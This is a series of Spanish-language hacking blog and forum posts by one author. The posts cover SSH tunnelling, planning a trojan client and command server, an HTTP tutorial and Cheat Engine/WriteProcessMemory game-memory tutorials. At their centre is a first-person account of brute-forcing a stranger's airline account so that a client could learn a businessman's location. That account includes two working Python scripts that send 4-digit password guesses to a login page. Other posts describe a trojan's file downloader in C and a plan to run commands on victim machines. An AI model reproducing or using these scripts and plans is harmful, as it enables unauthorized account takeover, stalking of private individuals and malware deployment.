Hola, qué tal?

He estado averiguando por Internet pero no me ha quedado muy claro cómo realizar un túnel SSH a través de un intermediario.

Mi intención es conectarme a mi PC que tiene todos los puertos cerrados y no permite abrirlos (culpa de mi proveedor) desde el exterior, mediante SSH.

La idea es utilizar una cuenta shell que tengo a la que me conecto mediante SSH, y realizar un tunel SSH que me permita conectarme a mi cuenta shell y que esta me conecte con mi PC, o algo así.

Cliente SSH ---> Cuenta Shell ---> Mi PC con Linux

Les agradezco de antemanos. Saludos.

He venido aquí porque tengo algunas dudas.

He programado un servidor usando sockets en Java. Lo que hace es esperar a que el cliente se conecte y enviarle comandos al cliente, esta conexión es estable, o sea, el cliente y el servidor deben permanecer siempre conectados intercambiando datos hasta que yo lo disponga. El cliente está programado en C++.

Este servidor hecho en Java quisiera que esté las 24 horas encendido, y en mi PC no lo puedo dejar. Por eso quisiera saber ¿qué calse de host o servidor debería contratar para correr este servidor programado con sockets las 24 horas? ¿Un VPS? ¿Hay otra opción, como un servidor web?

El servidor puede ser reescrito sin problema. Antes los datos se enviaban mediante un servidor web (comando POST) a un script que los almacenaba en una base de datos. Pero el servidor web es limitado en cuanto a la cantidad de peticiones que puede recibir. Y además no el servidor web no puede enviarle datos al cliente directamente y no puede mantener una conexión estable y viva.

Hola. Quisiera que me ayudaran con unas dudas que tengo.

Estoy desarrollando el cliente de un troyano en C++, el cual se instala en la máquina víctima y envía información de esta al servidor. La idea es que el servidor reciba esta información y la almacene en una base de datos, y a su vez, permita enviar una serie de comandos al cliente para que este ejecute en la máquina víctima.

Lo que aún estoy viendo es en qué lenguaje desarrollar el servidor. Porque primero pensé hacerlo en PHP e instalarlo en un servidor web con base de datos, pero solamente podría recibir información mediante HTTP (GET y POST), no? Y además no podría establecer una conexión estable entre el cliente y servidor, cierto?

Otra opción es hacerlo en C++ o Java, pero me gustaría que se encontrara en otra máquina aparte, no en la mía, y permaneciera siempre ejecutado y conectado. Entonces, qué servidor debería contratar para ejecutar un .exe o .jar? Un VPS? Algo más barato existe?

Gracias de antemanos.

Tengo un problema. Estoy realizando una aplicación en C++ que se ingresa datos en una base de datos a través de un script PHP que está en el mismo servidor que la base de datos, ya que la bd no tiene acceso desde el exterior, sino que solo en localhost.

Ya tengo las funciones hechas que permiten el envío de datos. Estas funciones hacen el uso de sockets (Windows).

Yo quisiera hacer que cuando el programa se cierra, ya sea porque se le mande la señal de cerrado o se apague Windows, este envíe un comando POST al servidor mediante SOCKETS.

Para hacer esto usé atexit() pero me da un problema: cuando el programa recibe la señal de cierre, cierra las librerías de sockets y luego ejecuta la función que hay en atexit(), entonces no puedo hacer uso de sockets en esta función porque fue cerrada la librería para hacer esto.

Qué puedo hacer? Me podrían dar una buena solución para enviar datos a través de sockets una vez que el programa recibe la señal de cierre?

Gracias de antemanos.

El otro día me contacto una mujer, la cual no conocía, pidiendome un favor algo extraño, pero lógico: quería que hackeara la contraseña de una cuenta de una aerolínea (muy pero muy poco conocida) de una persona de la cual quería saber dónde se encontraba actualmente y qué días estaba en el país (al parecer una persona de negocios). No voy a dar más detalles ya que le prometí mantener censura sobre este tema.

El tema está en que no logré hallar ningún bug dentro del servidor web que hospedaba la página de la aerolínea, y al ver que las contraseñas eran de 4 dígitos númericos, saqué algunas conclusiones (en una hoja) y pude averiguar que aproximadamente en 2,83 horas podía obtener la contraseña mediante brute force.

Ojo! Ella me dio el usuario porque lo conocía, solo me pidió que averiguara la contraseña.

Antes que nada empecemos por lo primero: imaginanado que ya sabés que es el brute force en términos hackers. La contraseña eran todos dígitos numéricos y no era mayor a 4 cifras, entonces podemos ver que 10x10x10x10 son las posibilidades que tenemos de encontrar la contraseña, o sea, tenemos 1/10000 son las probabilidades que tenemos de encontrarla (sería un 0.01% de probabilidades). Esto es porque de las 10000 posibles contraseñas solo 1 es la correcta.

Luego de sacar esta simple probabilidad, calculé mediante herramientas propias lo que tardaba mi PC en conectarse al sitio, enviar mediante un comando POST una contraseña y un usuario al azar, comprobar si el usuario y la contraseña son correctos y desconectarse. Esto tardaba alrededor de 1.02 segundos. Entonces probar 10000 contraseñas hasta dar con la correcta me llevaría alrededor de 10200 segundos, o más bien, 2,83 horas.

Para hacer esto automático tuve que recurrir a un lenguaje de programación, y como era tarde, estaba cansado y contaba con poco tiempo me decanté por Python (el rey de la simplicidad y la eficiencia).

Usando la ayuda de las bibliotecas de Python (urllib2, urllib, md5, étc.), empece a codear y… salieron 2 scripts interesantes:

Generar contraseñas al azar

import urllib
import urllib2
import md5
import random
import time
 
abc = "0123456789";
url = "http://aerolinea.vuelefeliz.com/login"
new_passwd = 0
 
while abc == "0123456789":
    if(new_passwd == 1):
        var0 = abc[int(random.random()*len(abc))]
        var1 = abc[int(random.random()*len(abc))]
        var2 = abc[int(random.random()*len(abc))]
        var3 = abc[int(random.random()*len(abc))]
        passwd = var0 + var1 + var2 + var3
    print "- Password: " + passwd
    try:
        values={'Aer_Id':'MTYyMA==', #usuario cifrado en md5
        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password cifrada en md5
        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")
 
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
 
        html = response.read()
        if(html.find("Login was unsuccessful") > 0):
            print "Nothing of nothing...\n"
            new_passwd = 1
        else:
            print "Password found!\n"
            arch = open("passwd_ecrews", "w")
            arch.write(passwd)
            arch.close()
            exit()
    except:
        print "Error...\n"
        new_passwd = 0

Explicado simplemente, con este script se genera una contraseña de 4 dígitos numéricos al azar. Los números van desde 0 hasta 9. Luego de esto los envía mediante un resquest POST al sitio web (simula que se llena el formulario de Usuario y Contraseña) y el sitio responde diciendo si son correctos o no. En caso de que sean incorrectos sigue intentando con otros.

values contiene los valores que se envían mediante el comando POST. Sería lo mismo que enviar:

Aer_Id=USER&Aer_Passwd=PASSWORD

Generar contraseñas desde 0000 hasta 9999

import urllib
import urllib2
import md5
import random
import time
 
abc = "0123456789";
url = "http://aerolinea.vuelefeliz.com/login"
new_passwd = 0
 
for i1 in range(0, len(abc)):
        var0 = abc[i1]
        for i2 in range(0, len(abc)):
                var1 = abc[i2]
                for i3 in range(0, len(abc)):
                        var2 = abc[i3]
                        for i4 in range(0, len(abc)):
                                var3 = abc[i4]
                                passwd = var0 + var1 + var2 + var3
                                print "- Password: " + passwd
                                try:
                                        values={'Aer_Id':'MTYyMA==', #esto es el usuario cifrado con md5
                                        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password tambien cifrada con md5
                                        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")
 
                                        data = urllib.urlencode(values)
                                        req = urllib2.Request(url, data)
                                        response = urllib2.urlopen(req)
 
                                        html = response.read()
                                        if(html.find("Login was unsuccessful") > 0):
                                                print "Nothing of nothing...\n"
                                        else:
                                                #si encuentra la password la guarda en un archivo llamado passwd_found
                                                print "Password found!\n"
                                                arch = open("passwd_found", "w")
                                                arch.write(passwd)
                                                arch.close()
                                                exit()
                                except:
                                        print "Error...\n"

Este script hace lo mismo que el anterior, con la única diferencia de que genera contraseñas sucesivas, desde 0000 hasta 9999. Es un poco más seguro ya que te asegura que prueba todas las contraseñas posibles y no las repite.

 

Para acelerar el proceso de brute forcing utilicé el primer script en mi PC y el otro lo ejecuté en un servidor shell que tengo en el mundo exterior con Python instalado, por lo que en menos de 50 minutos la contraseña estaba en mis manos. Pero no se pongan felices, porque como ya les dije yo ya conocía el usuario, solo tenía que descubrir la contraseña. Este método es eficaz cuando las contraseñas son cortas y numéricas, con una contraseña como “as5z8x2!!a2s5″ estaríamos más de 2 siglos probando descubrirlas, y más aún si no conocemos el usuario (el tiempo puede variar un poco, tal vez exageré).

Si la contraseña hubiera sido más larga me hubiera decantado por el primer script, ya que no estaría probando contraseñas tontas, sino probaría contraseñas al azar y, con muuucha suerte, daría más rápido con la misma.

Bueno, cualquier duda ya saben por donde ando: mail o blog . En el próximo artículo voy a explicar algunos métodos para realizar técnicas de brute forcing.

Hace unos días terminé un downloader que hice para un troyano que estabamos armando con un colega que quedó en la nada.

Rattack iba a contener un sistema de ocultación mediante hooks a las APIs de Windows, pero al final no quedó implementado porque esa parte d código lo hizo mi colega, yo me encargué de la parte del servidor y del cliente y de las funciones del downloader. La página del proyecto Rattack es http://godsys.com.ar/rattack/

Estaba programado usando el API WinSock, pero le cambié algunas cosas para poder compilarlo en Linux, ya que el sistema de sockets no es muy diferente entre ambos sistemas.

Al troyano le implementé 2 clases de downloader: uno que descarga archivos desde un servidor web (mediante HTTP) y otro que envía archivos desde un cliente a un servidor programados por mí.

Aquí les traigo el código del Downloader HTTP:

/*
Autor: Kiriost
*/
 
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
 
int main(int argc, char *argv[]) {
	if(argc != 4) {
		printf("TO USE: ./downloader www.host.com /file.exe saveas.exen");
		return 0;
	}
 
	char *shost;
	char *sfile;
	char *ssave;
 
	shost = argv[1];
	sfile = argv[2];
	ssave = argv[3];
 
	int sock;
	struct sockaddr_in conn;
	struct hostent *host;
	char data[512];
	sprintf(data, "GET %s HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n", sfile, shost);
 
	char buffer[1024];
	memset(buffer, 0, 1024);
	int numbytes;
	int bytes = 0;
	int i = 0;
 
	sock = socket(AF_INET, SOCK_STREAM, 0);
	host = gethostbyname(shost);
 
	conn.sin_family = AF_INET;
	conn.sin_port = htons(80);
	conn.sin_addr = *((struct in_addr *)host->h_addr);
	memset(&conn.sin_zero, 0, 8);
 
	connect(sock, (struct sockaddr *)&conn, sizeof(struct sockaddr));
 
	FILE *fp = fopen(ssave, "wb");
 
	send(sock, data, strlen(data), 0);
 
	for(;;) {
		recv(sock, buffer + i, 1, 0);
		i++;
		if(strncmp(buffer+i-4, "\r\n\r\n", 4) == 0) {
			break;
		}
	}
 
	for(;;) {
		memset(buffer, 0, 1024);
		numbytes = recv(sock, buffer, 1024, 0);
		bytes += numbytes;
		printf("%d KB\n", bytes/1024);
		fwrite(buffer, sizeof(char), numbytes, fp);
		if(numbytes <= 0) {
			break;
		}
	}
 
	printf("Bytes: %d\n", bytes);
	fclose(fp);
	close(sock);
}

Lo que hace especificamente es conectarse al servidor web, enviarle una serie de comandos HTTP (GET) para pedirle un archivo, el servidor recibe los comandos, los procesa y comienza a enviarle el contenido del archivo. La aplicación, entonces, comienza a recibir el contenido, entonces crea un archivo nuevo donde guarda el contenido que le va llegando.

Compilación

gcc -o downloader_http downloader_http.c

Ejemplo de uso

./downloader_http godsys.comxa.com /SDL.dll SDLdown.dll

Hola amigos.

Recurro a ustedes para que me ayuden. El problema es el siguiente:

He programado, en C (bajo Linux), una aplicacioón que se conecta, mediante Sockets, a un servidor Web y le envía una petición GET (protocolo HTTP) para que me pase el contenido de un archivo y yo lo guardo en un buffer.
Mi problema es que no se cómo sacar de ese buffer la respuesta del servidor http ("HTTP/1.1 OK\nAccept: [...]") para que quede solo el contenido del archivo.

La parte del código que envía la solicitud con GET y luego guarda la respuesta en un buffer es la sgte.:

//...
char buffer[1452];
char data[] = "GET /pag.html HTTP/1.1\n"
                     "Host: www.paginaweb.com\n"
                     "User-Agent: Mozilla/4.0\n\n";
 
send(sock, data, strlen(data), 0);
recv(sock, buffer, 1452, 0);
 
printf("%s\n", buffer);

Como ya expliqué, envía una petición HTTP y el servidor le envía el contenido del archivo que requirió (pag.html) pero el problema es que en buffer junto con el contenido del archivo se guarda también la respuesta HTTP porque lo envía todo junto:

Por ejemplo: buffer:

Quisiera saber qué funciones podría utilizar para sacar de buffer la respuesta HTTP y que me quede solo el contenido del archivo.

Gracias de antemano!

HTTP es el protocolo que utilizan los sitios webs para intercambiar datos con los clientes, o sea, los navegadores. Es decir, un navegador (cliente) contacta con un servidor web mediante una serie de comandos, y el servidor le contesta enviandole los datos requeridos.
HTTP consta de una serie de comandos mediante los cuales hace posible la conexión y la transacción. Yo les mostraré los 2 principales y los más importantes: GET y POST

Para comenzar con la explicación primero tenemos que entender cómo funciona un navegador, que es la aplicación que nos permite conectarnos a un sitio web y ver su contenido.
Antes de presentarnos el contenido tal como lo vemos, el navegador realiza una "traducción", o más bien una interpretación del código HTML de la página para convertirlo en contenido legible para nuestra vista.

El código HTML consta de una serie de etiquetas encerradas entre < y > que cumplen diferentes funciones como darle un color, un estilo, un tamaño o una posición específica a una palabra, una imagen o algún otro objeto.
El navegador, mediante una serie de comandos (GETs y POSTs), se conecta al servidor de dicha web y le realiza una petición para que este le envíe el código HTML que es leído de los archivos .html que están dentro del sitio web (host). Entonces, si los comandos enviados son correctos, el servidor web accede a enviarle el código HTML. Y allí es cuando el navegador realiza su función de "traductor", intepretando las etiquetas HTML y conviertiendo el contenido que sea legible para nuestra vista.

Entonces es mediante estos comandos que el navegador interactúa con el servidor web para requerirle una página.

Principalmente mediante este comando el navegador le pide al sitio que le envíe el código HTML para interpretarlo.
Aquí un ejemplo del comando GET que envía al servidor web:
Y la función del servidor web es interpretar estos comandos para enviarle lo que requirió el navegador o el cliente, en este caso, el código html de la página principal del sitio web (generalmente se llama index.html, index.htm o index.php pero se coloca / ya que se refiere a la raíz del sitio web que sería la página principal).

Este comando es utilizado para enviar datos al sitio web.

Los datos que se envían al sitio web son intepretados o procesados por funciones PHP, o de algún otro lenguaje de programación del lado del servidor, declaradas junto con el código HTML o en páginas aparetes dentro del sitio web.

Aquí un ejemplo del comando POST:

·POST / HTTP/1.1 Indica que se va a postear o enviar datos a la página principal del sitio web. También podría colocar /mensaje.php si fuera a enviar datos al archivo PHP llamado "mensaje.php" que se encuentre en la carpeta raíz del sitio. HTTP/1.1 indica la versión del protocolo http.
·User-Agent: Mozilla/4.0 Indica el navegador que estoy usando para conectarme. En este caso es la versión 4.0 de Mozilla Firefox. Podría colocar cualquier otro o inventarme uno.
·Host: sitioweb.com Indica el host, es decir la dirección del sitio web. Es necesaria.
·Content-Type: application/x-www-form-urlencoded Está indicando el tipo de contenido que voy a enviar. En este caso estoy enviando datos a un formulario (form), los cuales serán procesado por PHP.
·Content-Length: 29 Es el tamaño de los datos que estoy enviando. En este caso son la cantidad de letras que estoy enviando.
·user=usuario&pass=contrasenia Esto son los datos que estoy enviando. Los datos son "usuario" y "contrasenia", lo que declaré delante de estos son los nombres de las variables, por así decirlo, que el sitio me pide para procesar los datos dentro de estas. Los nombres de estas "variables" (user y pass) son declarados en el formulario creado en HTML (lo veremos más adelante).
En pocas palabras, lo que aquí le estoy diciendo al servidor web es que a "user" le doy el valor "usuario" y a "pass" le doy el valor "contrasenia", y el sitio luego procesará estos datos o variables para realizar las acciones correspondientes con estos. Lo formularios utilizados para registrarte dentro de un sitio web cumplen con esta función.

Aquí un ejemplo de un formulario creado con código HTML:

<form action="procesar.php" method="post">
  <input name="user" type="text">
  <input name="pass" type="password">
  <input value="Enviar" type="submit">
</form>

Ejemplo de conexión usando GET mediante telnet:

Ejemplo de conexión usando POST mediante telnet:
Como ya expliqué esto envía los datos nombre, mensaje y mail al archivo mensaje.php para que los procese.


Nota: Aquí termina el tutorial. Las dudas las pueden consultar por mensaje privado o envianome un mail. Lamento los errores de ortografía. Espero que les sirva. 

Este es el primer tutorial. En este explicaremos como editar un valor en memoria de un juego, en este caso, el buscaminas de Windows. Okey, comencemos! Programas que utilizaremos:
·Cheat Engine que lo pueden descargar desde aquí.
·Buscaminas (winmine.exe) de Windows. Viene por defecto con Windows.

Cheat Engine

Es una aplicación programada en Delphi, muy útil, que permite la edición de un valor de la memoria de un programa que se está ejecutando. Por ejemplo, estamos jugando Counter-Strike(espero que todos lo conozcan) y nos quedamos sin balas, con esta maravilla podemos editar el valor de una dirección de memoria. Como algunos sabrán, el número de balas que tenemos es un valor, y este valor se guarda en la memoria, concretamente en una dirección de memoria, donde el programa puede acceder a la misma para leer o escribir dicho valor. Con Cheat Engine podemos acceder desde afuera para cambiar el valor de esta dirección de memoria. Entendido??

Comenzando:

Intentaremos congelar el tiempo en el Buscaminas de Windows...
1- Primero exploraremos el buscaminas. Vamos a Inicio>Todos los programas>Juegos>Buscaminas, o sea, ejecutaremos el Buscaminas. Ahora que tenemos el Buscaminas corriendo en nuestra PC podemos ver que al empezar a jugar el tiempo empieza a correr. La pregunta es...Donde se guarda el tiempo que va transcurriendo? La respuesta es...Es un valor, por lo tanto, en una dirección de memoria.
Lo que haremos será acceder a esta dirección con el Cheat Engine y cambiar o congelar el valor!!! No te asustes, es muy sencilo.
2- Instalamos el Cheat Engine. Luego lo ejecutamos y vemos un cartel que habla acerca de un tutorial, hacemos un click en "No". El programa se ve así:

3- Ahora sí, a jugar con esos valores!!!! xD.
Cerramos el buscaminas y el Cheat Engine que habíamos abierto anteriormente.

Editandonos dentro del juego:

Ahora volvemos a ejecutar el Buscaminas, pero no comenzamos a jugar. Ejecutamos el Cheat Engine. Ahora lo que vamos a hacer es abrir el proceso del Buscaminas que ya se está ejecutando, desde el Cheat Engine. Asi que vamos a hacer click en el icono de la computadora que aparece en verde.

Nos aparecera la lista de todos los procesos que se estan ejecutando en nuestra Pc ("Process List"). Bajamos la barra hasta abajo hasta encontrar el proceso winmine.exe ,o sea, es el Buscaminas que se esta corriendo. Y le damos a "Open" (abriremos el procesos dentro del Cheat Engine).

Ahora ya podemos ver en la parte superior del programa que hemos abierto el proceso winmine.exe (Buscaminas) desde el CH (abreviacioón que comenzare a utilizar de ahora en adelante para el Cheat Engine xD). Ahora viene lo mas dificil (no tanto ), tendremos que buscar la dirección de memoria en donde se almacena el valor del tiempo del Buscaminas para editarlo o congelarlo. Volvemos al Buscaminas que tenemos abierto y vemos que todavia no hemos empezado a jugar, por lo tanto, el valor del tiempo es igual a 0. Entonces donde vemos que dice "Value:" (marcado con rojo en la sgte. imagen) hay un cuadro de texto, ahi escribimos 0, es decir, el valor que tiene el tiempo en el juego actualmente. Y luego le damos a "First Scan" (primer escaneo) y CH buscara en el juego todas las direcciones de memoria que contengan el valor 0 (cero).

Pero..Cual de todas esas direcciones de memoria es la del tiempo??? Bueno..calma, buscar una direccion no es nada facil. Sigamos.
Tenemos demasiadas direcciones. Lo que vamos a hacer es empezar a jugar al Buscaminas, es decir, haremos click en uno de los cuadrados para empezar a buscar minas xD. Listo, ahora el tiempo ha empezado a correr, y obviamente alguna de esas direcciones que tenemos ha empezado a correr al igual que el tiempo en el juego. Lo que ahora haremos sera buscar esa direccion a traves de su valor como lo hicimos anteriormente, entonces, donde dice "Value:" hay un cuadro de texto (donde ingresamos anteriormente el 0), alli vamos a colocar el valor del tiempo actual en el Buscaminas, para esto vamos a ver cuanto lleva el tiempo del juego e ingresaremos un numero mas adelantado para esperar que el tiempo llegue a ese valor y pulsaremos rapidamente "Next Scan" (siguiente escaneo).
Por ej.: El tiempo en el juego va por 25 segundos, lo que haremos en CH es colocar 30 en el casillero y esperaremos a que el tiempo del juego llegue a 30 segundo y cuando lo haga rapidamente presionaremos "Next Scan".

Lo que hace esto es buscar el valor 30 dentro de todas las direcciones que aparecieron cuando colocamos el 0 para comenzar a escanear. Primero el tiempo estaba detenido, en 0, buscamos ese valor con "First Scan", nos aparecieron miles de direcciones con ese valor, entre ellas estaba la del tiempo. Luego para despejar las demas empezamos a correr el juego y el tiempo comenzo a correr tambien y colocamos el valor 30 para ser escaneado entre todas esas direcciones que anteriormente nos aparecieron y esperamos que el tiempo en el juego llegue a 30. Le dimos a "Next Scan", lo que hace esto es buscar un valor entre todas las direcciones de memoria que nos aparecieron antes. Y alli despejamos las demas direcciones y nos quedo solo una, la del tiempo, con su respectivo valor.

Encontramos la dirección de memoria del tiempo con su valor!! Lo logramos, ahora solo nos queda jugar con ella. Es decir, podemos cambiarle su valor o congelarla en el valor actual y no seguira corriendo el tiempo. En el caso del Counter-Strike, podriamos congelar el numero de balas y asi nunca se nos acabarian .
Hacemos doble click en la direccion de memoria que contiene el valor del tiempo y abajo nos aparecera la misma. Y si hacemos doble click donde dice "Value" (marcado con amarillo en la imagen anterior) podremos cambiar su valor, el valor de tiempo, poner el tiempo que queramos. O congelar el valor haciendo click en el cuadradito que aparece debajo de "Frozen"....
Como veran es algo muy facil!!!
Perdonen el extenso tutorial, pero quiera que entiendan cada punto, lo que es una direccion de memoria, los valores, étc.
P.D.: El Cheat Engine se puede utilizar para una gran (por no decir inmenza) cantidad de juegos, cambiando valores en el juego...Ojo! Algunos valores corresponden a la luminosidad del juegos, la transparencia de las paredes, etc. Podraan hasta crear un cheat para ver a traves de las paredes en el Counter-Strike, o agregarse vida.

* Haber leído el post anterior sobre el uso de Cheat-Engine que es el programar empleado para obtener las direcciones de memoria. El post sobre Cheat-Engine: http://foro.elhacker.net/hacking_avanzado/gamehacking_cheategnine_hackeando_el_buscaminas-t328847.0.html.

* Un compilador de C++ y un IDE. Podría ser Dev-C++ que viene con el compilador "gcc"(descargar de aquí) o Code::Block con la implementación de MinGW.
    
* Haber leído las publicaciones anteriores sobre Game-Hacking
    
* Saber programar en C++ o ganas de aprender a programar.

Abrimos el Dev-C++ o el IDE que estén usando para programar y vamos a crear un proyecto nuevo (buscar información acerca del Dev-C++ para crear proyectos). Ya tenemos el proyecto, sólo nos falta comenzar a escribir las líneas de código que darán origen a nuestro programa.
Okey! Todo bien hasta acá! Para programar la aplicación que nosotros queremos vamos a hacer uso de las famosas APIs de Windows, es decir, las funciones de las DLLs de Windows.

Aquí está el código:

#include <windows.h>
#include <stdio.h>
 
int main()
{
int n = 24;
DWORD pid;
HANDLE process;
HWND wnd = FindWindow(0, "Buscaminas");
 
GetWindowThreadProcessId(wnd, &pid);
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
WriteProcessMemory(process, (LPVOID)0x0100579C, &n, 8, NULL);
 
CloseHandle(process);
 
return 0;
}

int n = 24; -> Declara una variable "Integer", es decir, que contiene un número decimal. Llama a la variable como "n" y coloca el valor "24" dentro de la misma. Ese valor será el que colocaremos, por medio de las APIs, dentro de la dirección de memoria del tiempo del Buscaminas.
DWORD pid; -> Declara una variable característica de Windows. La variable pasa a llamarse "pid" que hace referencia a "Process ID", es decir, el ID del procesos del Buscaminas que será abierto para guardar en "pid" el ID del proceso.
HANDLE process; -> Otra variable característica de Windows que declara a "process", que guardará la dirección del proceso del Buscaminas.
HWND wnd; -> Igual que la anterior. Pero guarda la "dirección" de una ventana que es obtenida con "FindWindow()".
FindWindow() -> Es una API de Windows que permite encontrar ventanas colocando el título de la misma. Ej.: FindWindow(0, "Título de ventana").
GetWindowThreadProcessId(wnd, &pid); -> API que encuentra el PID de un proceso a través de la búsqueda de una ventana del mismo.
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) -> Abre el procesos para escribir y leer sobre él.
WriteProcessMemory(process, (LPVOID)0x0100579c, &n, 8, NULL); -> API más importante para esta implementación. Escribe en la memoria del proceso cambiando un valor. Recuerdan la dirección de memoria que nos salió en Cheat Engine, la dirección de memoria del tiempo del Buscaminas, esa dirección que costo buscarla. Bueno, en esa dirección de memoria vamos a escribir para cambiar el valor del tiempo. Esa dirección era: 0x0100579c. Y ahí la tenemos, junto a ella está la variable "n", o sea, el nuevo valor que pasará a tener dicha dirección. Sencillo.
CloseHandle(process); -> Cerramos proceso.

Bueno, después de que tenemos el código, compilamos con Dev-C++ -> Ctrl+F9 y el proyecto se compilará, ahora tendremos un ".exe". Ctrl+F10 y el ".exe" se ejecutará. Bien, ahora abrimos el Buscaminas y ejecutamos el programa que acabamos de crear con este código, gracias al Dev-C++ y su compilador. Y WOOOWW!!! El valor del tiempo ha cambiadooo!!!!! Investiga más sobre esta técnica y sobre el código.

Proximo tutorial: Inyección DLL mediante CreateRemoteThread.